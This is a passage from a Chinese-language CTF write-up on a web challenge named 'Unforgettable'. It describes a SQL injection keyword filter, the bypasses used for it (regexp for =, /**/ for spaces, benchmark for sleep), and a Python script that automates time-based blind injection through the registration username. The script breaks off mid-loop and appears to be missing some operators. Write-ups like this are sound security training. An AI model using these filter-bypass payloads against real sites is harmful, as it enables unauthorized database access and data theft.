这周好困好困,每天醒来只能保持 3h 的精力,哎。题目卡住以后倒是把寒假计划中的其他事情摸完了。
Web
Unforgettable
这道题是截止前几个小时静下心来做的,本来都打算放掉这题去把我暑假计划的其他东西搞定
之前测试的时候发现我注册的账号很快就会失效(被删除)
初步怀疑是和 sql 注入有关,而且注入点应该和账号的信息有关
回过神来已经是 ddl 前几个小时了,开始尝试找注入点
先测试了用户名,发现有一些过滤:
空格、and、=、sleep、<、>、like、||、union
等号用 regexp 代替
空格用/**/代替
sleep 用 benchmark 代替
然后试了这个用户名:
代码语言:javascript复制1'/**/#
在首页中是这样
但是进入/user后是这样:
说明 sql 语句在 /user 页面执行了
然后就是盲注
有好些细节还不太懂,问了liki,然后写了程序
代码语言:javascript复制import httpx
from bs4 import BeautifulSoup
import time
session = httpx.Client(proxies={'all://':None})
def tryPayload(payload):
username = payload
username = username.replace(' ', '/**/')
print(username)
r = session.get('https://unforgettable.liki.link/register')
csrf_token = BeautifulSoup(r,'lxml').find('input',id='csrf_token')['value']
email = str(int(time.time())) '@qq.com'
password = str(int(time.time()))
registerData = {'csrf_token':csrf_token,
'username':username,
'email':email,
'password':password,
'submit':'注册'}
# print(registerData)
r = session.post('https://unforgettable.liki.link/register',data=registerData)
result = BeautifulSoup(r,'lxml').find('div',class_='alert').contents[2]
print(result)
if 'You have registered!' in result:
r = session.get('https://unforgettable.liki.link/login')
csrf_token = BeautifulSoup(r,'lxml').find('input',id='csrf_token')['value']
loginData = {'csrf_token':csrf_token,
'email':email,
'password':password,
'submit':'登录'}
session.post('https://unforgettable.liki.link/login',data=loginData)
r = session.get('https://unforgettable.liki.link/user',timeout=600,allow_redirects=False)
# 这个不允许跳转真的太太太重要了
print(r.elapsed.total_seconds())
return r.elapsed.total_seconds()
def getOutput(shell):
# 获取返回结果的长度
outputLength = 1
while 1:
temp = ''
for _ in range(outputLength):
temp = '.'
payload = "1'&& if(({}) regexp '^{}',0,benchmark(5000000,sha2('a',256)))#{}".format(shell, temp, str(int(time.time())))
if tryPayload(payload) < 1.5:
outputLength = 1
else:
break
print(outputLength)
# 获取返回的结果
output = ''
wordList = '_,abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 @$~'
for _ in range(outputLength-1): # 末尾是"